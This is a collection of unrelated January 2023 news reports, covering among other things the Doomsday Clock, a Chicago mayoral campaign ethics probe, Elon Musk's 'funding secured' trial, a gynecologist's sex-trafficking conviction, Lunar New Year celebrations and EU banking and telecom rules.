"We expect that the first meeting of the platform's executive Secretariat will be held this week. The EU and G7 countries, the IMF, the EIB, the EBRD, the OECD and other international financial organisations will cooperate in the format of the financial Ramstein," Shmyhal noted.

He emphasised that both formats  both energy and financial Ramsteins  concern the provision of additional stability of Ukraine and the fulfilment of two main tasks of the government: full financing of all critical expenditures, especially restoration projects, and the successful passage of the heating season and preservation of the integrity of our energy system.

Economichna Pravda

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
By Katharine Jackson

WASHINGTON (Reuters) - Atomic scientists set the "Doomsday Clock" closer to midnight than ever before on Tuesday, saying threats of nuclear war, disease, and climate volatility have been exacerbated by Russia's invasion of Ukraine, putting humanity at greater risk of annihilation.

The "Doomsday Clock," created by the Bulletin of the Atomic Scientists to illustrate how close humanity has come to the end of the world, moved its "time" in 2023 to 90 seconds to midnight, 10 seconds closer than it has been for the past three years.

Midnight on this clock marks the theoretical point of annihilation. The clock's hands are moved closer to or further away from midnight based on scientists' reading of existential threats at a particular time.

The new time reflects a world in which Russia's invasion of Ukraine has revived fears of nuclear war.

"Russia's thinly veiled threats to use nuclear weapons remind the world that escalation of the conflict by accident, intention or miscalculation is a terrible risk. The possibilities that the conflict could spin out of anyone's control remains high," Rachel Bronson, the bulletin's president and CEO told a news conference in Washington on Tuesday.

The bulletin's announcement will for the first time be translated from English into Ukrainian and Russian to garner relevant attention, Bronson said.

A Chicago-based non-profit organization, the bulletin updates the clock's time annually based on information regarding catastrophic risks to the planet and humanity.

The organization's board of scientists and other experts in nuclear technology and climate science, including 13 Nobel Laureates, discuss world events and determine where to place the hands of the clock each year.

Apocalyptic threats reflected by the clock include politics, weapons, technology, climate change and pandemics.

The clock had been set to 100 seconds to midnight since 2020, which was already the closest it had ever come to midnight.

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The board said the war in Ukraine had also heightened the risk that biological weapons could be deployed if the conflict continued.

"The continuing stream of disinformation about bioweapons' laboratories in Ukraine raises concerns that Russia itself may be thinking of deploying such weapons," Bronson said.

Sivan Kartha, a bulletin board member and scientist at the Stockholm Environmental Institute, said natural gas prices pushed to new heights by the war had also spurred companies to develop sources of natural gas outside of Russia and turned power plants to coal as an alternative power source.

"Global carbon dioxide emissions from burning fossil fuels, after having rebounded from the COVID economic decline to an all-time-high in 2021, continue to rise in 2022 and hit another record high... With emissions still rising, weather extremes continue, and were even more clearly attributable to climate change," Kartha said, pointing to the devastating flooding in Pakistan in 2022 as an example.

The clock was created in 1947 by a group of atomic scientists, including Albert Einstein, who had worked on the Manhattan Project to develop the world's first nuclear weapons during World War Two.

More than 75 years ago, it began ticking at seven minutes to midnight.

At 17 minutes to midnight, the clock was furthest from "doomsday" in 1991, as the Cold War ended and the United States and Soviet Union signed a treaty that substantially reduced both countries' nuclear weapons arsenals.

(Reporting by Katharine Jackson, Editing by Rosalba O'Brien)
Mayor Lori Lightfoot talks to reporters about the campaign complaint on Jan. 12, 2023, in Chicago. (Armando L. Sanchez / Chicago Tribune)

The Chicago Board of Ethics decided Monday more thorough investigations needed to be done before rendering judgment about whether Mayor Lori Lightfoots campaign violated local ethics rules when it solicited Chicago public school teachers to encourage students to help her reelection efforts.

The board tasked the inspectors general for both City Hall and Chicago Public Schools to conduct investigations into the matter, even though both offices were already aware of or probing the matter.

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Given how long such investigations and rulings on those probes take, it seems unlikely there will be an answer before the Feb. 28 election. Early voting begins Thursday.

The mayor landed in hot water earlier this month when it was discovered a deputy on her campaign emailed CPS teachers to recruit their students for Lightfoots reelection effort, and offered class credit in exchange.

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Lightfoots mayoral challengers pounced, decrying the practice as improper and unethical.

The Chicago Teachers Union  which endorsed Lightfoot challenger Brandon Johnson  said in a letter that it was concerned members who declined to help Lightfoots campaign could face retaliation.

This is the same mayor who promised to clean up corruption and make good ethics an anchor in her administration, the letter said.

A day after the dust-up, Lightfoot apologized at a news conference, repeatedly saying she was unaware her campaign was contacting CPS teachers and saying the outreach was a mistake made by a staff member. Her campaign, after initially defending the practice, eventually vowed to stop and said it had reminded campaign staff about the solid wall that must exist between campaign and official activities and that contacts with any city of Chicago, or other sister agency employees, including CPS employees  is off limits. Period.

The citys ethics board met Monday afternoon to consider the issue, though neither the board agenda nor members made any mention of the campaign or the mayor directly. Board policy is to keep names and titles confidential unless a violation is found.

But it was clear the potential violation was up for discussion: the board had previously announced it would consider the matter and the citys inspector general, Deborah Witzburg, was in attendance as were ethics officials from Chicago Public Schools and Chicago City Colleges, where student volunteers were also solicited by Lightfoots campaign.

During the meeting, ethics board chair William Conlon also recommended candidates for elected city offices immediately and thoroughly scrub their email lists and remove any governmental email addresses. The board also advises candidates and those associated with those candidates that emails and other forms of solicitation may be considered coercive if directed to city employees or those employed by sister city agencies.

It was unlikely the ethics board was going to rule Monday. The board can only adjudicate and settle cases involving alleged violations of city ethics rules when all the facts are known or when a violation is clear. Even then, ethics board adjudication can take weeks or months to conclude.

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When the facts are unclear, the board can refer complaints to inspectors general, which is what the board did in this case. Conlon sent the potential unauthorized use of real or personal city property violation to Witzburg and the Chicago Public Schools inspector generals office, which had already announced it was investigating the matter.

Both watchdogs were tasked with conducting factual investigations and report(ing) back to the board, Conlon said, adding that the board had absolute confidence the inspector generals office will conduct a thorough, aggressive, and complete and fair-minded investigation.

aquig@chicagotribune.com
Drake in 2009 and 2022. Frazer Harrison/Getty Images; Prince Williams/Wireimage

Drake performed the second of two shows at Harlem's historic Apollo Theater on Sunday.

During the concert, he reflected on his first trip to New York, when many labels declined to sign him.

"I was probably wearing some Club Monaco khakis with a button-up or something," he said. "It was terrible."

Drake opened up about his early career failures during an intimate concert in New York on Sunday.

The record-breaking rapper reflected on his rise to stardom while performing at Harlem's historic Apollo Theater. The special event, sponsored by SiriusXM, opened with a bedroom-inspired stage design that resembled his mom's basement.

A table and set of chairs were set up at the other end of the stage. This was meant to represent the ill-fated meetings with label executives during his first trip to New York, Drake said.

"I came here with my uncle, trying to get signed, you know? I think I sat in front of everybody for like, a week straight. And I got turned down by everybody for like, a week straight," he told the crowd.

"In all fairness, my outfit choices were horrible at the time," he continued. "They said I looked corny. I don't disagree. I was probably wearing some Club Monaco khakis with a button-up or something. It was terrible."

Drake, born Aubrey Graham, began writing songs as a teenager while starring on the Canadian series "Degrassi."

He self-released his debut mixtape, "Room for Improvement," in 2006 and left TV to pursue music full-time in 2008. One year later, he was signed to Lil Wayne's label Young Money.

"The point is, I didn't get signed that trip to New York," Drake said onstage at the Apollo. "I went back home and I had to go back to my mom's basement 'cause it didn't play out like the way I thought it would. So I went back and I wrote some more songs to see if I could get signed, and eventually, somebody called."

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Drake performed a variety of hits from throughout his career, including "Best I Ever Had," "Hold On We're Going Home," "One Dance," and "God's Plan."

Later in the evening, Drake thanked the audience for sticking by him for so many years and teased a tour with 21 Savage this summer.

"I've thought about maybe what it would be, like, 'Oh, it's been a good run. Maybe I should just leave while it's hot, leave while it's good,'" he said. "But the love that I still get to this day, after all these years, I'll let you know: I'll never leave you high and dry."

"As long as you listen, I'll be here for you," he added. "In your darkest moments and your happiest moments, I'll be there for you."

Read the original article on Insider
J. Michael Jones / Getty Images

If you receive benefits from the Supplemental Nutrition Assistance Program (SNAP), you might wonder if you can pay for items at your local drugstore with that money. The answer is yes, but only certain items are eligible.

See the List: GOBankingRates Best Banks of 2023

Find Out: 3 Ways Smart People Save Money When Filing Their Taxes

SNAP Benefits: How Long Do They Last?

Items that you wont be able to buy with your SNAP benefits include vitamins, medicines and supplements. Non-food items such as paper towels, napkins, toilet paper, cleaning products, office supplies, cosmetics and hygiene items are not eligible either. You also wont be able to buy beer, wine, cigarettes or tobacco.

However, items that you might find at a drugstore that are eligible for SNAP payments include dairy products, bread, cereal, snack foods and non-alcoholic beverages. Here are three major drugstore chains that are accepting SNAP payments.

CVS

At over 9,000 CVS stores, you can pay for SNAP-eligible items with your Electronic Benefit Transfer (EBT) card, including meal essentials, healthy snacks and various beverages. However, you will not be able to order and pay for SNAP-eligible items online at CVS with your EBT card at this time.

Walgreens

The same goes for Walgreens. You can visit a Walgreens location and pay for SNAP-eligible items with your EBT card, but you wont be able to order and pay for items online with your benefits at this time. However, not all Walgreens locations accept SNAP for payment. Call ahead to confirm.

Take Our Poll: What Are Your Financial Priorities in 2023?

Rite Aid

Rite Aid is another drugstore where you can use your EBT card to pay for SNAP-approved items. However, like CVS and Walgreens, Rite Aid does not accept SNAP payments online. Also, Rite Aid Customer Care suggests that you call ahead to the store location you wish to visit to find out whether that particular location accepts SNAP EBT.

More From GOBankingRates

This article originally appeared on GOBankingRates.com: Food Stamps: 3 Drugstore Chains That Accept SNAP
Illustration of the Earth cut in half, so the inner core is visible. Rost-9D / Getty Images.

Don't freak out, but ...

Earth's inner core  otherwise known as the "dense center of our planet," as The New York Times describes it  may have actually "paused" its rotation as it prepares to begin turning the other way, a new study published Monday in the Nature Geoscience journal has suggested.

Further, the research from study co-authors Yi Yang and Xiaodong Song of Beijing's Pekin University indicates that the readjustment is part of a 60 to 70-year cycle in which the planet's inner-most core shifts its rotational direction every few decades or so. The pair's potentially revelatory findings could help solve "longstanding mysteries about climate and geological phenomena that occur on a similar timeframe, and that affect life on our planet," Vice News reports.

If this underground shift sounds scary and potentially world-ending, don't worry  it's not. In actuality, it has probably been happening under the surface "for eons," Times adds.

Considering its location, not much else is known about Earth's inner core, which Yang and Song described to the Times as a "planet within a planet." In conducting the study, which analyzed seismic waves as they reached the core, the pair hoped to learn more about the movements within the layer and further their understanding of how the center connects with the rest of the world.

The supposed readjustment is unlikely to dramatically affect life closer to the planet's surface, the Times notes, though it could potentially cause "subtle shifts in the planet's magnetic field" or "tweak the length of a day, which is known to increase and decrease by a fraction of a millisecond every six years."

It is also worth noting that there are competing inner-core theories to Yang and Song's, though the duo's analysis "is probably as good as anything at the moment," earth sciences professor John Vidale told The Wall Street Journal.

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CAIRO (Reuters) - Egyptian President Abdel Fattah al-Sisi begins a visit to India on Wednesday where he will meet business leaders and be a guest of honour at India's Jan. 26 Republic Day.

The trip will include discussions on strengthening economic relations between the two countries and reviewing opportunities for Indian investment in Egypt, a statement from the Egyptian presidency said.

Egypt is trying to drum up foreign investment as it tries to manage a dollar shortage that has led to a sharp depreciation of the Egyptian pound.

Last year it sought help from energy-rich Gulf allies and the International Monetary Fund after the economic fallout from the war in Ukraine exacerbated its underlying challenges.

Cairo has also been seeking to forge political and trade ties beyond its traditional alliances with the United States and European powers, including in sub-Saharan Africa and Asia.

(Reporting by Aidan Lewis; Editing by Christina Fincher)
Tesla CEO Elon Musk took the stand Monday at a trial focused on whether he had secured funding for a deal to take Tesla private, as he had tweeted to his millions of followers in 2018. (Marcio Jose Sanchez / Associated Press)

How do you know when a "handshake" deal is a done deal?

Elon Musk has an analogy for that.

On the witness stand Monday as he defended his Tesla take-private tweets from 2018, Musk explained: If a bank tells you theyll support your desire to buy a house, and you then agree to buy a house, the bank will give you a mortgage as a matter of course. You still do that paperwork to do the transaction, but the transaction will go through, he said in court at his fraud trial.

For a man who recently sold $62 million worth of Bel-Air mansions, Musk has some ill-informed ideas about how real estate transactions work. For most people, anyway.

The analogy sparked a bit of amusement from the attorney representing investors who say Musk defrauded them.

When I bought my house, I got a written commitment from a bank, plaintiffs attorney Nicholas Porritt said. You may be able to buy a house without having a written commitment from a bank, but the rest of us understand you need a written commitment from the bank before you start making offers.

Musk quickly dropped the analogy. That's not how things work with a sovereign investment fund, he said, and moved on to other explanations for having used the words funding secured in an Aug. 7, 2018, tweet about a take-Tesla-private deal that never happened and for which it was never shown that funding was in fact secured.

The funding was to come from Saudi Arabias gargantuan Public Investment Fund. Musk testified that an earlier agreement that involved a Saudi purchase of 5% of Tesla stock was struck as a handshake deal, so in the take-private discussion, Musk said, Its reasonable to assume youd shake hands and thats it.

Musk had been discussing the take-private deal with Saudi investment fund head Yasir Al-Rumayyan in 2018, a week before his tweet. But in his testimony Monday, Musk acknowledged no financial terms were agreed to. After the funding secured brouhaha, Al-Rumayyan asked Musk for more financial information on the deal and then called it off. Musk said in court that Al-Rumayyan did not stick to his word.

Story continues

Investors say they believed that Musks tweet was legit, and they lost big money as the stocks market value whipsawed in response, by billions of dollars.

No one involved in the potential deal but Musk has said they believed that funding was secured, including the Saudi fund.

Trial Judge Edward Chen, in U.S. District Court in San Francisco, instructed the jurors in the current case to regard the "funding secured" tweet as false. Four years ago, Musk signed a settlement with federal securities regulators in the wake of the tweet. Under that deal, the U.S. Securities and Exchange Commission cant call Musk a fraud, and Musk cant say he was acquitted of fraud charges.

The current case may turn on whether the jury believes Musk knew it was false when he tweeted it.

Although Musk was subdued and often spoke in fragmented and halting sentences when pressed by the investors attorney, he was markedly more assured under questioning by his defense team.

Im being accused of making materially false statements. Im being accused of fraud. Its outrageous, he said.

The defense focused on the first sentence of Musk's "funding secured" tweet, which read in full, Am considering taking Tesla private at $420. Funding secured." Musk emphasized that his interest in taking the company private was genuine. However, the lawsuit does not allege that Musk had no intention of taking the company private, but is focused on whether funding was secured.

Earlier, he said that because he owns a large stake in rocket company SpaceX and because SpaceX could also invest in Tesla, that meant funding was secured.

Musk returns to the witness stand Tuesday.





This story originally appeared in Los Angeles Times.
Elon Musk said he could've sold his SpaceX shares to take Tesla private when he took the witness stand again to defend his 2018 "funding secured" tweets in a lawsuit filed by the automaker's shareholders. According to CNBC, Musk proclaimed: "SpaceX stock alone meant 'funding secured' by itself. It's not that I want to sell SpaceX stock but I could have, and if you look at the Twitter transaction  that is what I did. I sold Tesla stock to complete the Twitter transaction. And I would have done the same here." He didn't say how many of his shares he'd have to sell, however, to be able to fund the transaction.

The plaintiffs' lawsuit is based on Musk's infamous 2018 tweets in which he said he was "considering taking Tesla private at $420." He even said that he already had "[f]unding secured." Musk first took the stand for this particular case last week to defend himself against the plaintiffs' accusations that the tweets he made cost them significant financial losses. Tesla's shares temporarily stopped trading after those tweets and remained volatile in the weeks that followed. He said at the time that just because he tweets something "does not mean people believe it or will act accordingly."

This time, Musk reiterated his previous claim that he had an agreement with Saudi Arabia's Public Investment Fund to take Tesla private. He told the court that the country was "unequivocal" in its support of the transaction, which ultimately didn't go through. According to Bloomberg, the court discussed his communication and eventual falling out with Saudi fund governor Yasir Al-Rumayyan regarding the deal. A text exchange was reportedly presented to the jury, wherein Musk accused Al-Rumayyan of backing out of their handshake agreement. The Saudi official responded that he didn't have sufficient information to be able to commit to the buyout and called Musk's public announcement of their discussions "ill advised."

The plaintiffs' lawyer also asked Musk what many of us were probably wondering: If the $420 share price in his tweets was made as a joke in reference to marijuana. Apparently, it wasn't a joke, and he chose it "because it reflected about a 20 percent premium on Tesla's stock price." Musk is expected to testify again on Tuesday, so we'll likely hear more details about his failed bid to convert Tesla into a private entity.

As Bloomberg notes, the judge in this case had already determined that his tweets were "objectively false and reckless." However, the plaintiffs still have to prove that Musk knew his tweets were misleading and that his tweets caused their losses to win the case. Musk and Tesla previously had to pay the Securities and Exchange Commission $20 million each to settle a separate lawsuit over the same tweets, accusing him of making "false and misleading statements" that could be constituted as fraud. The CEO said on the stand that he told the SEC about SpaceX and that the plaintiffs' lawyer "deliberately exclud[ed] that from jurors."
Elon Musk is the CEO of both Twitter and Tesla. Getty Images

Elon Musk said Google had a "standing interest in buying Tesla" in testimony in the securities fraud trial.

The Tesla CEO said this helped encourage him to try to secure funds to take the EV maker private.

According to a 2015 book, Musk and former Google CEO Larry Page had an $11 billion deal in place for Tesla.

Tesla CEO Elon Musk told a court Tuesday that Google had a "standing interest" in buying the electric-vehicle maker, which encouraged him to try taking the company private with Saudi funds.

The billionaire pointed to the interest from Google's parent Alphabet laid down in an earlier deposition, Marketwatch reported, as he defended his 2018 "funding secured" tweet in an ongoing civil trial.

Musk told his lawyer Alex Spiro in a cross-examination that this factored into his decision to try and take Tesla private.

The San Francisco trial is the result of a class-action shareholder lawsuit that alleges Musk committed securities fraud with the tweet. The investors have accused Musk of illegally manipulating Tesla's stock price by saying he had funding in place to take the carmaker private at $420 a share.

Musk said that in planning to take Tesla private, he entered into negotiations with the Saudi Public Investment Fund (PIF), which he said "unequivocally" supported his plan, per Bloomberg.

But he described the sovereign wealth fund's governor Yasir Al-Rumayyan as "backpedaling" on verbal assurances of commitment made to Musk in Tesla's factory. The CEO said Al-Rumayyan was "ass covering" in later texts.

Saudis are the second largest investors in Musk's social platform company Twitter, which he acquired for $44 billion in October.

Musk also said he would have sold SpaceX stock to take Tesla private.

According to a 2015 book on Musk, the Tesla CEO had an $11 billion deal in place to sell the company to Google in 2013, but it fell through when Musk and former Google CEO Larry Page started arguing over specifics of the deal, during which time Google began to turn a profit.

Story continues

He has since had a more distinct cooling in relations with Google. Co-founder Sergey Brin was set to cash in his shares in the automaker  which he bought before it went public in 2010  last year amid a report in the Wall Street Journal that Musk had an affair with his wife.

Musk's trial rests on his assertion that he did not mislead investors when he tweeted that he had secured finances to take Tesla private at $420, because he did indeed have funding for the deal. Shares in Tesla have jumped more than 14% in the last five days as the trial continues.

Read the original article on Business Insider
NEW YORK (AP)  A gynecologist who molested patients during a decades-long career was convicted of federal sex trafficking charges Tuesday after nine former patients told a New York jury how the doctor they once trusted attacked them sexually when they were most vulnerable.

A Manhattan federal court jury returned its verdict after deliberating less than a day in the case against Robert Hadden, 64, who worked at two prestigious Manhattan hospitals  Columbia University Irving Medical Center and New York-Presbyterian Hospital  until complaints about his attacks shut down his career a decade ago.

The institutions have already agreed to pay more than $236 million to settle civil claims by more than 200 former patients.

Hadden's lawyers admitted that their client had sexually abused patients, but they said his guilty plea to charges in state court seven years ago put those crimes behind him.

Prosecutors said federal charges were appropriate because Hadden, of Englewood, New Jersey, enticed women to cross state lines so he could attack them.

Robert Hadden leaves Manhattan federal court, Monday, Jan. 9, 2023,

Defense lawyers argued that he didn't know patients were coming from other states, including New Jersey and Nevada.

After the verdict, U.S. Attorney Damian Williams issued a statement in which he called Hadden "a predator in a white coat."

"For years, he cruelly lured women who sought professional medical care to his offices in order to gratify himself. Hadden's victims trusted him as a physician, only to instead become victims of his heinous predilection," he said.

The verdict capped a two-week trial that featured a procession of former patients who described how the doctor questioned them about their personal lives, including their sexual experience, before touching them inappropriately on the breasts or between their legs.

An indictment charged Hadden with sexually abusing patients from 1993 through at least 2012, although a prosecutor noted during a closing argument on Monday that a nurse testified that he was molesting patients in the late 1980s.

Story continues

"He donned his white coat and took the oath all doctors do to 'do no harm,' and then he did the exact opposite," Assistant U.S. Attorney Jane Kim told the jury.

She said he tried to "hide behind his white coat" and the prestige of Columbia University as he won over vulnerable patients before sexually abusing them.

In her closing, defense attorney Kathryn Wozencroft said that what some of Hadden's patients endured at his hands was "disgusting and horrible," but that his state court convictions covered those crimes.

In this Feb. 23, 2016 photo, Robert Hadden appears in Manhattan Supreme Court in New York. Hadden, a former New York gynecologist accused of sexually abusing more than two dozen patients, including children and the wife of former presidential candidate Andrew Yang, is now facing federal charges. (Alec Tabak via AP)

She argued that the federal charges were inappropriate because they required that Hadden entice his victims to cross state lines when he was unaware in advance of which patients he would treat each day and where they were coming from.

Among former patients who have spoken publicly was Evelyn Yang, whose husband, Andrew Yang, ran unsuccessfully as a Democrat for president in 2020 and for New York City mayor in 2022.

In 2020, she said Hadden sexually assaulted her eight years earlier, even when she was seven months pregnant. She had called the sentence in the state case a "slap on the wrist."

The Associated Press generally withholds the names of sexual abuse victims from stories unless they have decided to tell their stories publicly, which Yang and others have done.

This article originally appeared on NorthJersey.com: Englewood NJ doctor who molested patients convicted of sex trafficking
Lunar New Year observed around world with illuminated landmarks, events

Xinhua) 09:11, January 24, 2023

* From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience.

* Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others.

* Many overseas Chinese have expressed their best wishes to the motherland.

BEIJING, Jan. 23 (Xinhua) -- Landmarks around the globe have been lit up in the auspicious color red to celebrate the Lunar New Year, or Spring Festival, that fell on Sunday this year.

The Lunar New Year for 2023 marks the Year of the Rabbit -- a gentle and beloved animal that signifies vitality, wittiness, cautiousness and good luck in the Chinese zodiac.

Outside China, many people are also celebrating the most important Chinese festival alongside local Chinese communities, enjoying a taste of Chinese culture while strengthening their friendship with others from different cultural backgrounds.

LANDMARKS GLOW IN RED

From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience.

Tokyo Tower is lit up in red to celebrate the Chinese New Year in Tokyo, Japan, Jan. 21, 2023. (Xinhua/Zhang Xiaoyu)

A number of landmarks projected Spring Festival wishes in the Chinese language when turning red. On Saturday, Nelson's Column at London's Trafalgar Square was illuminated in Mandarin to wish people a Happy Chinese New Year. The Chinese character "fu," which means good fortune, was projected onto the Mole Antonelliana, the most recognizable building in Turin, Italy.

This photo taken on Jan. 21, 2023 shows a large lantern celebrating the Year of the Rabbit on the eve of the Chinese New Year at Trafalgar Square in London, Britain. (Xinhua/Li Ying)

"We are so pleased to extend our heartfelt New Year's wishes to the entire Chinese community here in the United States, around the world and especially in China," said Tony Malkin, CEO, president and chairman of Empire State Realty Trust.

Apart from the lighting, some popular attractions and main streets in Sydney are seeing rabbit-shaped artworks designed by local illustrators in celebration of the festival.

Between mid-January and mid-February, a Chinatown on Yaowarat Road in Thailand's Bangkok is decorated with lights, featuring a 45-meter-long light tunnel and lanterns of various styles.

Also in a festive mood is the north Italian city of Milan. On Saturday, a Chinese New Year animation was played on a large screen in Piazza San Babila, a busy area in the city center. Along a bustling street there decorated with red lanterns and Chinese dragons, many locals came to experience Chinese culture and take photos.

To mark the Year of the Rabbit, Jungfrau, a popular ski region in Switzerland, also put up Chinese lanterns and custom-made illuminations at its Grindelwald Terminal to create a festive atmosphere.

DIVERSE CELEBRATIONS

Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others. For many countries, dragon parades, fireworks and issuing zodiac stamps have become symbolic activities during the Spring Festival.

These days, Australia, Fiji, France and Hungary have issued commemorative stamps featuring bunny elements in collaboration with Chinese artists.

This photo taken on Jan. 16, 2023 shows a first-day cover with the stamps marking the Year of the Rabbit at Hungary's Stamp Museum in Budapest, Hungary. (Photo by Attila Volgyi/Xinhua)

On Jan. 14, the French postal service La Poste held a ceremony in Paris to launch two rabbit-themed stamps. At the event, a French man who didn't offer his name said, "I've collected stamps for more than 60 years. Every year, I would come for the stamps dedicated to the Chinese New Year."

Multiple tourist attractions hosted Chinese New Year celebrations during the holiday, ushering in a joyous tribute to Chinese and Asian culture.

At Disney California Adventure Park, a series of celebrations kicked off Friday. The same day, the Empire State Building unveiled its Fifth Avenue Window Exhibition, which features an installation of artistic imagery and representations of rabbits.

People watch a dragon dance performance during a parade celebrating the Chinese New Year in Madrid, Spain, Jan. 22, 2023. (Photo by Gustavo Valiente/Xinhua)

As the Spring Festival brings nostalgic joy for overseas Chinese, Chinese diplomatic missions, businesses and cultural institutions based overseas have held receptions and galas to observe the New Year with their local colleagues.

Additionally, Chinese embassies around the globe have distributed "Spring Festival kits," which contain traditional Spring Festival goods and local specialties.

Having attended a celebration at the Chinese Embassy in Iran earlier this month, Wang Danyu, a teacher at the Confucius Institute of Tehran University, said, "This event conveyed the warmth from my motherland."

Praising a festive event co-hosted by the Chinese Mission to the African Union and the UN Economic Commission for Africa in Ethiopia's capital Addis Ababa, local resident Rakeb Million said, "What amazed me the most is their sense of togetherness and closeness. They (Chinese people) look very beautiful as they celebrate the new year together."

NEW YEAR WISHES

Many overseas Chinese have expressed their best wishes to the motherland.

"We overseas Chinese are willing to serve as a bridge between the motherland and the world," Lu Gang, executive vice chairman of the Russian Far East Chinese Chamber of Commerce and Industry, told Xinhua. "On behalf of the overseas Chinese in the Russian Far East, I would like to wish our great motherland prosperity and our people happiness!"

"We are very proud of the development and progress of our motherland," said Deng Zhuting, president of London Chinatown Chinese Association. "We will continue to tell China's story well on the world stage and promote steady and sustained China-UK friendly exchanges."

People perform dragon dance during the Chinese New Year parade in Paris, France, on Jan. 22, 2023. (Xinhua/Gao Jing)

Besides, global leaders have also delivered their wishes to those who observe the Chinese New Year.

In a video message released on Wednesday, UN Secretary-General Antonio Guterres said, "I am pleased to send my warmest greetings as we enter the Year of the Rabbit. The rabbit is a symbol of energy and dexterity. These are qualities we need as humanity faces hardship and tests."

"I thank China for your strong partnership with the United Nations and support for international cooperation. By working together as a global community, we can advance peace, sustainable development and a better world for all," he said.

"On behalf of the government and the people of Tanzania, I extend my warmest wishes to all Chinese as you celebrate your Chinese New Year," Tanzanian President Samia Suluhu Hassan tweeted.

Dancers perform during a cultural event in celebration of the Chinese New Year in Milan, Italy, Jan. 22, 2023. (Xinhua/Jin Mamengni)

"It is with distinct pleasure and sincere feelings of friendship that I join your celebrations today on the joyous occasion of the Chinese Lunar New Year, the Year of the Rabbit, a symbol of good fortune, great ambition, bright future, wealth and prosperity," Cypriot President Nicos Anastasiades said Friday via video.

Lucie Milebou Aubusson, president of the Gabonese Senate, said, "I am honored to address the brotherly Chinese people as the president of the Senate and on behalf of the upper house of parliament and send our sincere wishes of health, happiness and prosperity."

Former Japanese Prime Minister Yasuo Fukuda extended his wishes that everyone could "jump high and far" in the Year of the Rabbit. "I wish everyone good health, and wish peace and prosperity for China, Japan, Asia and the world at large."

(Web editor: Peng Yukai, Liu Ning)
Willie Wilson ran for mayor in 2015 and 2019; traveled the country as part of a long-shot campaign for president in 2016, where he appeared on the ballot in a handful of states; and challenged U.S. Senator Dick Durbin in 2020. Originally from Louisiana, Wilson ran away from home with just an elementary education and moved to Chicago, where he owned several McDonalds franchises and started a medical supplies company. He is known for Singsation, a gospel program, and for giving away cash and checks to Chicagoans to help them buy gas, groceries or pay their property taxes.

Age: 74

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Born: Gilbert, Louisiana

Personal: Married to Janette Wilson

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Education: Dropped out of grade school

Neighborhood: Downtown

Current job: Founder and CEO of Omar Medical Supplies

Government experience: None

Political experience: Wilson finished a distant third in the 2015 mayors race and fourth in 2019.

Campaign slogan: Lets rebuild Chicago together

Campaign website: electwilliewilson.com

Wilsons responses to Tribune candidate questionnaire: Click here

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Erik ten Hag has told Manchester United that winning silverware is the best feeling in football and that it is time they ended their six-year trophy drought.

United face Nottingham Forest in the first leg of their Carabao Cup semi-final on Wednesday with Ten Hag determined the club win a major honour for the first time since the 2017 Europa League.

Since then, United have lost two finals and four semi-finals while Ten Hag won six trophies with Ajax and now he sees the Carabao Cup as a potential springboard for further success.

And the Dutchman said: It's the best feeling you can have, winning a trophy. I have the luck in my career to win some trophies and it's magnificent, especially for the fans, it's so great. I think the fans here have some experience, especially the older ones, in this period Manchester United didn't win trophies is too long. We are aware of that fact and we have to do it again.

In January you don't win trophies. In February you can win one. We have to aim for that and go for that. It's more about getting in the right positions in April to go for [more] trophies.

Ten Hag said United had consigned the disappointment of defeat to Arsenal on Sunday to the past, adding: We left it behind and we said the right conclusions then. We have to move forward and quickly because Wednesday is a big game and [we have to] focus on that.

United will still be without Anthony Martial, Jadon Sancho and Diogo Dalot in Nottingham, though Casemiro will be available after serving a one-match suspension.

It is Uniteds first game at the City Ground since 1999, when Ten Hags predecessor Ole Gunnar Solskjaer scored four times as a substitute in an 8-1 win.

He said: It's a long time ago United played there. I think we like that. When a fantastic audience is nice to play for, it will be a good atmosphere and I think it will motivate the players and we have to get ready for that.
By Huw Jones

LONDON (Reuters) - European Union lawmakers backed a draft law on Tuesday to implement the final leg of post-financial global bank capital rules, adding "prohibitive" requirements to cover risks from cryptoassets.

The European Parliament's economic affairs committee approved a draft law to implement Basel III capital rules from January 2025, though backing several temporary divergences to give banks more time to adapt.

The United States, Britain and other countries are taking similar steps, but the committee used the draft law to introduce new elements, including requiring banks to hold enough capital to cover holdings of cryptoassets in full.

"Banks will be required to hold a euro of their own capital for every euro they hold in crypto," said Markus Ferber, a centre-right German member of the committee.

The move, an interim measure pending further EU legislation, is in line with recommendations from global banking regulators.

"Such prohibitive capital requirements will help prevent instability in the crypto world from spilling over into the financial system," Ferber said.

The Association for Financial Markets in Europe (AFME), an industry body, said the draft law contains no definition of crypto assets and could end up being applied to tokenised securities as well.

EU states have already approved their version of the draft law, and lawmakers will now negotiate a final text with member states, with further tweaks expected.

Foreign banks operating through branches in the EU will be watching the talks closely.

EU states have taken a more accommodative approach to when foreign banks serving customers in the bloc should open a branch, or convert a branch into a more heavily capitalised subsidiary, with EU lawmakers on Tuesday taking a harder line.

The EU is keen to build up "strategic autonomy" in capital markets as it faces a competing financial centre on its doorstep after Brexit.

AFME said it will be important to avoid "significant adverse impact" of tightening EU access to international markets and cross-border services.

(Reporting by Huw Jones; Editing by Jan Harvey)
By Foo Yun Chee

BRUSSELS (Reuters) - The European Commission wants to cut red tape and costs to help Deutsche Telekom, Orange, Telecom Italia and other telecoms operators roll out fast-speed 5G, according to a Commission document seen by Reuters.

The EU executive, which wants all Europeans to have access to gigabit connectivity and 75% of EU companies to use cloud infrastructure or artificial intelligence technology by 2030, is expected to announce its proposal, called the Gigabit Infrastructure Act, on Feb. 10.

The measure could save telecoms operators about 40 million euros ($43.5 million) in annual administrative costs, the paper said.

"Several of the proposed changes aim to make rules and procedures more clear, streamlined and simple, allow parties to easily understand their rights and obligations and seek to promote synergies," the document said.

"The proposal also foresees guidance at Union level (access to physical infrastructure including in-building infrastructure, and some criteria for access and civil works coordination rules) which should facilitate the consistent implementation of relevant provisions as well as the resolution of potential disputes," it said.

The measure also says telecoms providers can access physical infrastructure owned or controlled by public sector bodies irrespective of its location under fair and reasonable terms.

($1 = 0.9193 euros)

